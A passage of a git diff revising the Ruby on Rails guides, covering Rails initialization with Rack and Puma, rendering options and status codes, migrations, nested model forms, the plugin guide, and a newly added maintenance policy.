on them. -After this is done we go back to `Rack::Server` +The `Rails::Application` class, as defined in `railties/lib/rails/application.rb` +defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers +prepare the application (like initializing the logger) while the `finisher` +initializers (like building the middleware stack) are run last. The `railtie` +initializers are the initializers which have been defined on the `Rails::Application` +itself and are run between the `bootstrap` and `finishers`. + +After this is done we go back to `Rack::Server`. ### Rack: lib/rack/server.rb @@ -479,7 +608,11 @@ Last time we left when the `app` method was being defined: ```ruby def app - @app ||= begin + @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config +end +... +private + def build_app_and_options_from_config if !::File.exist? options[:config] abort "configuration #{options[:config]} not found" end @@ -488,7 +621,10 @@ def app self.options.merge! options app end -end + + def build_app_from_string + Rack::Builder.new_from_string(self.options[:builder]) + end ``` At this point `app` is the Rails app itself (a middleware), and what @@ -506,7 +642,7 @@ def build_app(app) end ``` -Remember, `build_app` was called (by wrapped_app) in the last line of `Server#start`. +Remember, `build_app` was called (by `wrapped_app`) in the last line of `Server#start`. Here's how it looked like when we left: ```ruby @@ -514,40 +650,50 @@ server.run wrapped_app, options, &blk ``` At this point, the implementation of `server.run` will depend on the -server you're using. For example, if you were using Mongrel, here's what +server you're using. For example, if you were using Puma, here's what the `run` method would look like: ```ruby -def self.run(app, options={}) - server = ::Mongrel::HttpServer.new( - options[:Host] || '0.0.0.0', - options[:Port] || 8080, - options[:num_processors] || 950, - options[:throttle] || 0, - options[:timeout] || 60) - # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods. - # Use is similar to #run, replacing the app argument with a hash of - # { path=>app, ... } or an instance of Rack::URLMap. - if options[:map] - if app.is_a? Hash - app.each do |path, appl| - path = '/'+path unless path[0] == ?/ - server.register(path, Rack::Handler::Mongrel.new(appl)) - end - elsif app.is_a? URLMap - app.instance_variable_get(:@mapping).each do |(host, path, appl)| - next if !host.nil? && !options[:Host].nil? && options[:Host] != host - path = '/'+path unless path[0] == ?/ - server.register(path, Rack::Handler::Mongrel.new(appl)) - end - else - raise ArgumentError, "first argument should be a Hash or URLMap" - end - else - server.register('/', Rack::Handler::Mongrel.new(app)) +... +DEFAULT_OPTIONS = { + :Host => '0.0.0.0', + :Port => 8080, + :Threads => '0:16', + :Verbose => false +} + +def self.run(app, options = {}) + options = DEFAULT_OPTIONS.merge(options) + + if options[:Verbose] + app = Rack::CommonLogger.new(app, STDOUT) + end + + if options[:environment] + ENV['RACK_ENV'] = options[:environment].to_s end + + server = ::Puma::Server.new(app) + min, max = options[:Threads].split(':', 2) + + puts "Puma #{::Puma::Const::PUMA_VERSION} starting..." + puts "* Min threads: #{min}, max threads: #{max}" + puts "* Environment: #{ENV['RACK_ENV']}" + puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}" + + server.add_tcp_listener options[:Host], options[:Port] + server.min_threads = min + server.max_threads = max yield server if block_given? - server.run.join + + begin + server.run.join + rescue Interrupt + puts "* Gracefully stopping, waiting for requests to finish" + server.stop(true) + puts "* Goodbye!" + end + end ``` @@ -557,4 +703,4 @@ the last piece of our journey in the Rails initialization process. This high level overview will help you understand when your code is executed and how, and overall become a better Rails developer. If you still want to know more, the Rails source code itself is probably the -best place to go next. +best place to go next.
\ No newline at end of file diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md deleted file mode 100644 index 8c4fad18aa..0000000000 --- a/guides/source/kindle/KINDLE.md +++ /dev/null @@ -1,26 +0,0 @@ -# Rails Guides on the Kindle - - -## Synopsis - - 1. Obtain `kindlegen` from the link below and put the binary in your path - 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file - 3. Copy `output/kindle/rails_guides.mobi` to your Kindle - -## Resources - - * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format) - * Example Periodical [.ncx](https://gist.github.com/mipearson/808c971ed087b839d462) and [.opf](https://gist.github.com/mipearson/d6349aa8488eca2ee6d0) - * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf) - * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621) - -## TODO - -### Post release - - * Integrate generated Kindle document into published HTML guides - * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it) - * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode) - * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides - * `.epub` generation. - diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb index c737a0e9dc..1ac4e7f40c 100644 --- a/guides/source/layout.html.erb +++ b/guides/source/layout.html.erb @@ -4,7 +4,7 @@ <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> -<meta name="viewport" content="width=device-width, initial-scale=1"> +<meta name="viewport" content="width=device-width, initial-scale=1"/> <title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title> <link rel="stylesheet" type="text/css" href="stylesheets/style.css" /> @@ -48,7 +48,7 @@ <ul class="nav"> <li><a class="nav-item" href="index.html">Home</a></li> <li class="guides-index guides-index-large"> - <a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a> + <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a> <div id="guides" class="clearfix" style="display: none;"> <hr /> <% ['L', 'R'].each do |position| %> @@ -101,19 +101,15 @@ You're encouraged to help improve the quality of this guide. </p> <p> - If you see any typos or factual errors that you are confident to fix, - you can push the fix to <%= link_to 'docrails', 'https://github.com/rails/docrails' %> (Ask - the <%= link_to 'Rails core team', 'http://rubyonrails.org/core' %> for push access). - If you choose to open a pull request, please do it in <%= link_to 'Rails', 'https://github.com/rails/rails' %> - and not in the <%= link_to 'docrails', 'https://github.com/rails/docrails' %> repository. - Commits made to docrails are still reviewed, but that happens after you've submitted your - contribution. <%= link_to 'docrails', 'https://github.com/rails/docrails' %> is - cross-merged with master periodically. + Please contribute if you see any typos or factual errors. + To get started, you can read our <%= link_to 'documentation contributions', 'http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section. </p> <p> You may also find incomplete content, or stuff that is not up to date. - Please do add any missing documentation for master. Check the - <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> + Please do add any missing documentation for master. Make sure to check + <%= link_to 'Edge Guides','http://edgeguides.rubyonrails.org' %> first to verify + if the issues are already fixed or not on the master branch. + Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> for style and conventions. </p> <p> @@ -143,7 +139,7 @@ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script> <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script> <script type="text/javascript"> - SyntaxHighlighter.all() + SyntaxHighlighter.all(); $(guidesIndex.bind); </script> </body> diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md index 1ab841b137..bd33c5a146 100644 --- a/guides/source/layouts_and_rendering.md +++ b/guides/source/layouts_and_rendering.md @@ -88,7 +88,7 @@ If we want to display the properties of all the books in our view, we can do so <% end %> </table> -<br /> +<br> <%= link_to "New book", new_book_path %> ``` @@ -122,8 +122,7 @@ X-Runtime: 0.014297 Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache - - $ +$ ``` We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed. @@ -137,7 +136,7 @@ If you want to render the view that corresponds to a different template within t ```ruby def update @book = Book.find(params[:id]) - if @book.update(params[:book]) + if @book.update(book_params) redirect_to(@book) else render "edit" @@ -152,7 +151,7 @@ If you prefer, you can use a symbol instead of a string to specify the action to ```ruby def update @book = Book.find(params[:id]) - if @book.update(params[:book]) + if @book.update(book_params) redirect_to(@book) else render :edit @@ -237,15 +236,34 @@ render inline: "xml.p {'Horrid coding practice!'}", type: :builder #### Rendering Text -You can send plain text - with no markup at all - back to the browser by using the `:text` option to `render`: +You can send plain text - with no markup at all - back to the browser by using +the `:plain` option to `render`: + +```ruby +render plain: "OK" +``` + +TIP: Rendering pure text is most useful when you're responding to Ajax or web +service requests that are expecting something other than proper HTML. + +NOTE: By default, if you use the `:plain` option, the text is rendered without +using the current layout. If you want Rails to put the text into the current +layout, you need to add the `layout: true` option. + +#### Rendering HTML + +You can send a HTML string back to the browser by using the `:html` option to +`render`: ```ruby -render text: "OK" +render html: "<strong>Not Found</strong>".html_safe ``` -TIP: Rendering pure text is most useful when you're responding to Ajax or web service requests that are expecting something other than proper HTML. +TIP: This is useful when you're rendering a small snippet of HTML code. +However, you might want to consider moving it to a template file if the markup +is complex. -NOTE: By default, if you use the `:text` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `layout: true` option. +NOTE: This option will escape HTML entities if the string is not html safe. #### Rendering JSON @@ -277,6 +295,22 @@ render js: "alert('Hello Rails');" This will send the supplied string to the browser with a MIME type of `text/javascript`. +#### Rendering raw body + +You can send a raw content back to the browser, without setting any content +type, by using the `:body` option to `render`: + +```ruby +render body: "raw" +``` + +TIP: This option should be used only if you don't care about the content type of +the response. Using `:plain` or `:html` might be more appropriate in most of the +time. + +NOTE: Unless overriden, your response returned from this render option will be +`text/html`, as that is the default content type of Action Dispatch response. + #### Options for `render` Calls to the `render` method generally accept four options: @@ -375,9 +409,9 @@ Rails understands both numeric status codes and the corresponding symbols shown | | 423 | :locked | | | 424 | :failed_dependency | | | 426 | :upgrade_required | -| | 423 | :precondition_required | -| | 424 | :too_many_requests | -| | 426 | :request_header_fields_too_large | +| | 428 | :precondition_required | +| | 429 | :too_many_requests | +| | 431 | :request_header_fields_too_large | | **Server Error** | 500 | :internal_server_error | | | 501 | :not_implemented | | | 502 | :bad_gateway | @@ -405,7 +439,7 @@ class ProductsController < ApplicationController end ``` -With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout. +With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout. To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class: @@ -592,7 +626,7 @@ def index end def show - @book = Book.find_by_id(params[:id]) + @book = Book.find_by(id: params[:id]) if @book.nil? render action: "index" end @@ -607,7 +641,7 @@ def index end def show - @book = Book.find_by_id(params[:id]) + @book = Book.find_by(id: params[:id]) if @book.nil? redirect_to action: :index end @@ -626,10 +660,10 @@ def index end def show - @book = Book.find_by_id(params[:id]) + @book = Book.find_by(id: params[:id]) if @book.nil? @books = Book.all - flash[:alert] = "Your book was not found" + flash.now[:alert] = "Your book was not found" render "index" end end @@ -704,7 +738,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th #### Linking to Feeds with the `auto_discovery_link_tag` -The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: +The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: ```erb <%= auto_discovery_link_tag(:rss, {action: "feed"}, @@ -1009,7 +1043,6 @@ You can also pass local variables into partials, making them even more powerful ```html+erb <h1>New zone</h1> - <%= error_messages_for :zone %> <%= render partial: "form", locals: {zone: @zone} %> ``` @@ -1017,7 +1050,6 @@ You can also pass local variables into partials, making them even more powerful ```html+erb <h1>Editing zone</h1> - <%= error_messages_for :zone %> <%= render partial: "form", locals: {zone: @zone} %> ``` @@ -1026,7 +1058,7 @@ You can also pass local variables into partials, making them even more powerful ```html+erb <%= form_for(zone) do |f| %> <p> - <b>Zone name</b><br /> + <b>Zone name</b><br> <%= f.text_field :name %> </p> <p> @@ -1122,11 +1154,11 @@ With this change, you can access an instance of the `@products` collection as th You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option: ```erb -<%= render partial: "products", collection: @products, +<%= render partial: "product", collection: @products, as: :item, locals: {title: "Products Page"} %> ``` -Would render a partial `_products.html.erb` once for each instance of `product` in the `@products` instance variable passing the instance to the partial as a local variable called `item` and to each partial, make the local variable `title` available with the value `Products Page`. +In this case, the partial will have access to a local variable `title` with the value "Products Page". TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option. diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md new file mode 100644 index 0000000000..8f119f36aa --- /dev/null +++ b/guides/source/maintenance_policy.md @@ -0,0 +1,56 @@ +Maintenance Policy for Ruby on Rails +==================================== + +Support of the Rails framework is divided into four groups: New features, bug +fixes, security issues, and severe security issues. They are handled as +follows, all versions in x.y.z format + +-------------------------------------------------------------------------------- + +New Features +------------ + +New features are only added to the master branch and will not be made available +in point releases. + +Bug Fixes +--------- + +Only the latest release series will receive bug fixes. When enough bugs are +fixed and its deemed worthy to release a new gem, this is the branch it happens +from. + +**Currently included series:** 4.1.z, 4.0.z + +Security Issues +--------------- + +The current release series and the next most recent one will receive patches +and new versions in case of a security issue. + +These releases are created by taking the last released version, applying the +security patches, and releasing. Those patches are then applied to the end of +the x-y-stable branch. For example, a theoretical 1.2.3 security release would +be built from 1.2.2, and then added to the end of 1-2-stable. This means that +security releases are easy to upgrade to if you're running the latest version +of Rails. + +**Currently included series:** 4.1.z, 4.0.z + +Severe Security Issues +---------------------- + +For severe security issues we will provide new versions as above, and also the +last major release series will receive patches and new versions. The +classification of the security issue is judged by the core team. + +**Currently included series:** 4.1.z, 4.0.z, 3.2.z + +Unsupported Release Series +-------------------------- + +When a release series is no longer supported, it's your own responsibility to +deal with bugs and security issues. We may provide backports of the fixes and +publish them to git, however there will be no new versions released. If you are +not comfortable maintaining your own versions, you should upgrade to a +supported version. diff --git a/guides/source/migrations.md b/guides/source/migrations.md index 508e52a77c..c61ccfe94a 100644 --- a/guides/source/migrations.md +++ b/guides/source/migrations.md @@ -18,9 +18,10 @@ After reading this guide, you will know: Migration Overview ------------------ -Migrations are a convenient way to alter your database schema over time in a -consistent and easy way. They use a Ruby DSL so that you don't have to write -SQL by hand, allowing your schema and changes to be database independent. +Migrations are a convenient way to +[alter your database schema over time](http://en.wikipedia.org/wiki/Schema_migration) +in a consistent and easy way. They use a Ruby DSL so that you don't have to +write SQL by hand, allowing your schema and changes to be database independent. You can think of each migration as being a new 'version' of the database. A schema starts off with nothing in it, and each migration modifies it to add or @@ -184,7 +185,7 @@ class RemovePartNumberFromProducts < ActiveRecord::Migration end ``` -You are not limited to one magically generated column. For example +You are not limited to one magically generated column. For example: ```bash $ rails generate migration AddDetailsToProducts part_number:string price:decimal @@ -227,7 +228,7 @@ or remove from it as you see fit by editing the `db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file. Also, the generator accepts column type as `references`(also available as -`belongs_to`). For instance +`belongs_to`). For instance: ```bash $ rails generate migration AddUserRefToProducts user:references @@ -269,7 +270,7 @@ end The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for -adding these columns will also be created. For example, running +adding these columns will also be created. For example, running: ```bash $ rails generate model Product name:string description:text @@ -297,15 +298,16 @@ You can append as many column name/type pairs as you want. You can also specify some options just after the field type between curly braces. You can use the following modifiers: -* `limit` Sets the maximum size of the `string/text/binary/integer` fields -* `precision` Defines the precision for the `decimal` fields -* `scale` Defines the scale for the `decimal` fields -* `polymorphic` Adds a `type` column for `belongs_to` associations +* `limit` Sets the maximum size of the `string/text/binary/integer` fields. +* `precision` Defines the precision for the `decimal` fields, representing the total number of digits in the number. +* `scale` Defines the scale for the `decimal` fields, representing the number of digits after the decimal point. +* `polymorphic` Adds a `type` column for `belongs_to` associations. +* `null` Allows or disallows `NULL` values in the column. -For instance, running +For instance, running: ```bash -$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic} +$ rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic} ``` will produce a migration that looks like this @@ -313,8 +315,8 @@ will produce a migration that looks like this ```ruby class AddDetailsToProducts < ActiveRecord::Migration def change - add_column :products, :price, precision: 5, scale: 2 - add_reference :products, :user, polymorphic: true, index: true + add_column :products, :price, :decimal, precision: 5, scale: 2 + add_reference :products, :supplier, polymorphic: true, index: true end end ``` @@ -344,7 +346,7 @@ By default, `create_table` will create a primary key called `id`. You can change the name of the primary key with the `:primary_key` option (don't forget to update the corresponding model) or, if you don't want a primary key at all, you can pass the option `id: false`. If you need to pass database specific options -you can place an SQL fragment in the `:options` option. For example, +you can place an SQL fragment in the `:options` option. For example: ```ruby create_table :products, options: "ENGINE=BLACKHOLE" do |t| @@ -358,7 +360,7 @@ will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table ### Creating a Join Table Migration method `create_join_table` creates a HABTM join table. A typical use -would be +would be: ```ruby create_join_table :products, :categories @@ -376,8 +378,8 @@ create_join_table :products, :categories, column_options: {null: true} will create the `product_id` and `category_id` with the `:null` option as `true`. -You can pass the option `:table_name` with you want to customize the table -name. For example, +You can pass the option `:table_name` when you want to customize the table +name. For example: ```ruby create_join_table :products, :categories, table_name: :categorization @@ -399,7 +401,7 @@ end A close cousin of `create_table` is `change_table`, used for changing existing tables. It is used in a similar fashion to `create_table` but the object -yielded to the block knows more tricks. For example +yielded to the block knows more tricks. For example: ```ruby change_table :products do |t| @@ -419,7 +421,7 @@ If the helpers provided by Active Record aren't enough you can use the `execute` method to execute arbitrary SQL: ```ruby -Products.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') +Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') ``` For more details and examples of individual methods, check the API documentation. @@ -463,7 +465,7 @@ or write the `up` and `down` methods instead of using the `change` method. Complex migrations may require processing that Active Record doesn't know how to reverse. You can use `reversible` to specify what to do when running a -migration what else to do when reverting it. For example, +migration what else to do when reverting it. For example: ```ruby class ExampleMigration < ActiveRecord::Migration @@ -493,6 +495,7 @@ class ExampleMigration < ActiveRecord::Migration add_column :users, :home_page_url, :string rename_column :users, :email, :email_address end +end ``` Using `reversible` will ensure that the instructions are executed in the @@ -641,13 +644,13 @@ method for all the migrations that have not yet been run. If there are no such migrations, it exits. It will run these migrations in order based on the date of the migration. -Note that running the `db:migrate` also invokes the `db:schema:dump` task, which +Note that running the `db:migrate` task also invokes the `db:schema:dump` task, which will update your `db/schema.rb` file to match the structure of your database. If you specify a target version, Active Record will run the required migrations (change, up, down) until it has reached the specified version. The version is the numerical prefix on the migration's filename. For example, to migrate -to version 20080906120000 run +to version 20080906120000 run: ```bash $ rake db:migrate VERSION=20080906120000 @@ -664,7 +667,7 @@ down to, but not including, 20080906120000. A common task is to rollback the last migration. For example, if you made a mistake in it and wish to correct it. Rather than tracking down the version -number associated with the previous migration you can run +number associated with the previous migration you can run: ```bash $ rake db:rollback @@ -682,7 +685,7 @@ will revert the last 3 migrations. The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating back up again. As with the `db:rollback` task, you can use the `STEP` parameter -if you need to go more than one version back, for example +if you need to go more than one version back, for example: ```bash $ rake db:migrate:redo STEP=3 @@ -692,22 +695,27 @@ Neither of these Rake tasks do anything you could not do with `db:migrate`. They are simply more convenient, since you do not need to explicitly specify the version to migrate to. +### Setup the Database + +The `rake db:setup` task will create the database, load the schema and initialize +it with the seed data. + ### Resetting the Database -The `rake db:reset` task will drop the database, recreate it and load the -current schema into it. +The `rake db:reset` task will drop the database and set it up again. This is +functionally equivalent to `rake db:drop db:setup`. NOTE: This is not the same as running all the migrations. It will only use the -contents of the current schema.rb file. If a migration can't be rolled back, -'rake db:reset' may not help you. To find out more about dumping the schema see -'[schema dumping and you](#schema-dumping-and-you).' +contents of the current `schema.rb` file. If a migration can't be rolled back, +`rake db:reset` may not help you. To find out more about dumping the schema see +[Schema Dumping and You](#schema-dumping-and-you) section. ### Running Specific Migrations If you need to run a specific migration up or down, the `db:migrate:up` and `db:migrate:down` tasks will do that. Just specify the appropriate version and the corresponding migration will have its `change`, `up` or `down` method -invoked, for example, +invoked, for example: ```bash $ rake db:migrate:up VERSION=20080906120000 @@ -749,7 +757,7 @@ Several methods are provided in migrations that allow you to control all this: | say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. | say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. -For example, this migration +For example, this migration: ```ruby class CreateProducts < ActiveRecord::Migration @@ -812,158 +820,6 @@ The `revert` method can be helpful when writing a new migration to undo previous migrations in whole or in part (see [Reverting Previous Migrations](#reverting-previous-migrations) above). -Using Models in Your Migrations -------------------------------- - -When creating or updating data in a migration it is often tempting to use one -of your models. After all, they exist to provide easy access to the underlying -data. This can be done, but some caution should be observed. - -For example, problems occur when the model uses database columns which are (1) -not currently in the database and (2) will be created by this or a subsequent -migration. - -Consider this example, where Alice and Bob are working on the same code base -which contains a `Product` model: - -Bob goes on vacation. - -Alice creates a migration for the `products` table which adds a new column and -initializes it. She also adds a validation to the `Product` model for the new -column. - -```ruby -# db/migrate/20100513121110_add_flag_to_product.rb - -class AddFlagToProduct < ActiveRecord::Migration - def change - add_column :products, :flag, :boolean - reversible do |dir| - dir.up { Product.update_all flag: false } - end - Product.update_all flag: false - end -end -``` - -```ruby -# app/models/product.rb - -class Product < ActiveRecord::Base - validates :flag, inclusion: { in: [true, false] } -end -``` - -Alice adds a second migration which adds and initializes another column to the -`products` table and also adds a validation to the `Product` model for the new -column. - -```ruby -# db/migrate/20100515121110_add_fuzz_to_product.rb - -class AddFuzzToProduct < ActiveRecord::Migration - def change - add_column :products, :fuzz, :string - reversible do |dir| - dir.up { Product.update_all fuzz: 'fuzzy' } - end - end -end -``` - -```ruby -# app/models/product.rb - -class Product < ActiveRecord::Base - validates :flag, inclusion: { in: [true, false] } - validates :fuzz, presence: true -end -``` - -Both migrations work for Alice. - -Bob comes back from vacation and: - -* Updates the source - which contains both migrations and the latest version - of the Product model. -* Runs outstanding migrations with `rake db:migrate`, which - includes the one that updates the `Product` model. - -The migration crashes because when the model attempts to save, it tries to -validate the second added column, which is not in the database when the _first_ -migration runs: - -``` -rake aborted! -An error has occurred, this and all later migrations canceled: - -undefined method `fuzz' for #<Product:0x000001049b14a0> -``` - -A fix for this is to create a local model within the migration. This keeps -Rails from running the validations, so that the migrations run to completion. - -When using a local model, it's a good idea to call -`Product.reset_column_information` to refresh the `ActiveRecord` cache for the -`Product` model prior to updating data in the database. - -If Alice had done this instead, there would have been no problem: - -```ruby -# db/migrate/20100513121110_add_flag_to_product.rb - -class AddFlagToProduct < ActiveRecord::Migration - class Product < ActiveRecord::Base - end - - def change - add_column :products, :flag, :boolean - Product.reset_column_information - reversible do |dir| - dir.up { Product.update_all flag: false } - end - end -end -``` - -```ruby -# db/migrate/20100515121110_add_fuzz_to_product.rb - -class AddFuzzToProduct < ActiveRecord::Migration - class Product < ActiveRecord::Base - end - - def change - add_column :products, :fuzz, :string - Product.reset_column_information - reversible do |dir| - dir.up { Product.update_all fuzz: 'fuzzy' } - end - end -end -``` - -There are other ways in which the above example could have gone badly. - -For example, imagine that Alice creates a migration that selectively -updates the `description` field on certain products. She runs the -migration, commits the code, and then begins working on the next feature, -which is to add a new column `fuzz` to the products table. - -She creates two migrations for this new feature, one which adds the new -column, and a second which selectively updates the `fuzz` column based on -other product attributes. - -These migrations run just fine, but when Bob comes back from his vacation -and calls `rake db:migrate` to run all the outstanding migrations, he gets a -subtle bug: The descriptions have defaults, and the `fuzz` column is present, -but `fuzz` is nil on all products. - -The solution is again to use `Product.reset_column_information` before -referencing the Product model in a migration, ensuring the Active Record's -knowledge of the table structure is current before manipulating data in those -records. - Schema Dumping and You ---------------------- @@ -1033,8 +889,8 @@ this, then you should set the schema format to `:sql`. Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the `db:structure:dump` Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump` -utility is used. For MySQL, this file will contain the output of `SHOW CREATE -TABLE` for the various tables. +utility is used. For MySQL, this file will contain the output of +`SHOW CREATE TABLE` for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md index b90b3bb5fc..4f0634d955 100644 --- a/guides/source/nested_model_forms.md +++ b/guides/source/nested_model_forms.md @@ -9,7 +9,7 @@ After reading this guide, you will know: -------------------------------------------------------------------------------- -NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it’s **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/). +NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it's **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/). Model setup @@ -17,9 +17,9 @@ Model setup To be able to use the nested model functionality in your forms, the model will need to support some basic operations. -First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be build. +First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be built. -If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded. +If the associated object is an array, a form builder will be yielded for each object, else only a single form builder will be yielded. Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`. @@ -56,7 +56,7 @@ end ### Custom model -As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior: +As you might have inflected from this explanation, you _don't_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior: #### Single associated object @@ -177,7 +177,7 @@ When this form is posted the Rails parameter parser will construct a hash like t } ``` -That’s it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved. +That's it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved. #### Nested form for a collection of associated objects @@ -220,6 +220,6 @@ As you can see it has generated 2 `project name` inputs, one for each new `proje You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance. -NOTE: The reason that `fields_for` constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep. +NOTE: The reason that `fields_for` constructed a hash instead of an array is that it won't work for any form nested deeper than one level deep. TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example. diff --git a/guides/source/plugins.md b/guides/source/plugins.md index 695f25f8a9..fe4215839f 100644 --- a/guides/source/plugins.md +++ b/guides/source/plugins.md @@ -3,9 +3,9 @@ The Basics of Creating Rails Plugins A Rails plugin is either an extension or a modification of the core framework. Plugins provide: -* a way for developers to share bleeding-edge ideas without hurting the stable code base -* a segmented architecture so that units of code can be fixed or updated on their own release schedule -* an outlet for the core developers so that they don’t have to include every cool new feature under the sun +* A way for developers to share bleeding-edge ideas without hurting the stable code base. +* A segmented architecture so that units of code can be fixed or updated on their own release schedule. +* An outlet for the core developers so that they don't have to include every cool new feature under the sun. After reading this guide, you will know: @@ -15,7 +15,7 @@ After reading this guide, you will know: This guide describes how to build a test-driven plugin that will: * Extend core Ruby classes like Hash and String. -* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins. +* Add methods to `ActiveRecord::Base` in the tradition of the `acts_as` plugins. * Give you information about where to put generators in your plugin. For the purpose of this guide pretend for a moment that you are an avid bird watcher. @@ -34,15 +34,21 @@ different rails applications using RubyGems and Bundler if desired. Rails ships with a `rails plugin new` command which creates a - skeleton for developing any kind of Rails extension with the ability - to run integration tests using a dummy Rails application. See usage - and options by asking for help: +skeleton for developing any kind of Rails extension with the ability +to run integration tests using a dummy Rails application. Create your +plugin with the command: + +```bash +$ rails plugin new yaffle +``` + +See usage and options by asking for help: ```bash $ rails plugin --help ``` -Testing your newly generated plugin +Testing Your Newly Generated Plugin ----------------------------------- You can navigate to the directory that contains the plugin, run the `bundle install` command @@ -68,7 +74,7 @@ In this example you will add a method to String named `to_squawk`. To begin, cre require 'test_helper' -class CoreExtTest < Test::Unit::TestCase +class CoreExtTest < ActiveSupport::TestCase def test_to_squawk_prepends_the_word_squawk assert_equal "squawk! Hello World", "Hello World".to_squawk end @@ -86,12 +92,12 @@ Run `rake` to run the test. This test should fail because we haven't implemented Great - now you are ready to start development. -Then in `lib/yaffle.rb` add `require "yaffle/core_ext"`: +In `lib/yaffle.rb`, add `require 'yaffle/core_ext'`: ```ruby # yaffle/lib/yaffle.rb -require "yaffle/core_ext" +require 'yaffle/core_ext' module Yaffle end @@ -126,8 +132,8 @@ $ rails console Add an "acts_as" Method to Active Record ---------------------------------------- -A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you -want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models. +A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you +want to write a method called `acts_as_yaffle` that adds a `squawk` method to your Active Record models. To begin, set up your files so that you have: @@ -136,14 +142,14 @@ To begin, set up your files so that you have: require 'test_helper' -class ActsAsYaffleTest < Test::Unit::TestCase +class 